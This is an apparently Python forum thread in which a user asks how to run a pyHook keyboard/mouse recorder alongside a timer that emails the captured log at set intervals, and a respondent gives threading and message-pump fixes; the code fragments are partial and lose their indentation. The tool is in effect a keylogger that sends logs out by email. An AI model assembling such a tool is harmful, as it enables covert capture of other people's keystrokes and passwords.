Hey, I'm tring to create a software that records the keyboard/mouse and sends email of the log every predetermined period.

I've manage to make the recorder and the auto-email sender, but I still can't make both of them work simultaneously.

Can someone help me with this please?
I thought about threading but again... It just sends blank mails without the logs.

Thanks alot ahead!

I am not sure how to even begin helping you. I do not even know
what is wrong other than "can't make both of them work simultaneously".
What version of Python andOS? Are you using any 3rd party modules?
What is the code you use? What happens and what do you expect? How
are you getting the logs for email? Are they being passed in or are
you using a log file?

def sendEmailAuto(dt,openfile):
tt = time.time()
nn = tt+dt

while tt<nn:

Ugh... A CPU intensive polling loop!

The simplest way to delay is to use time.sleep()

while True:
time.sleep(300.0) #5min * 60sec

There is no guarantee that this will fire exactly 5min later -- but
should fire as soon after 5min as it gets control...
def OnMouseEvent(event):
global log

Why bother defining "log" as global, when the only contents used are
local messages being written to a file?
thread.start_new_thread(sendEmailAuto, (10,openfile))

hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm2 = pyHook.HookManager()
hm2.MouseAll = OnMouseEvent

hm.HookKeyboard()
hm2.HookMouse()

pythoncom.PumpMessages()

Uhm... I don't know if pythoncom (or the PumpMessages() ) method is
Python friendly -- that is, if it DOESN'T release the GIL at some point,
your email thread will never get control. Compare the difference between
..PumpMessages() and .PumpWaitingMessages(). The latter only runs the
currently pending batch and returns (which will definitely allow your
thread to run) -- the implication is the .PumpMessages() won't return
until the (implied) window is closed. Using .PumpWaitingMessages() will
require making a loop in the main thread...

while True:
if pythoncom.PumpWaitingMessages(): break #window closed
time.sleep(0.0) #ensure threading task swapping can happen
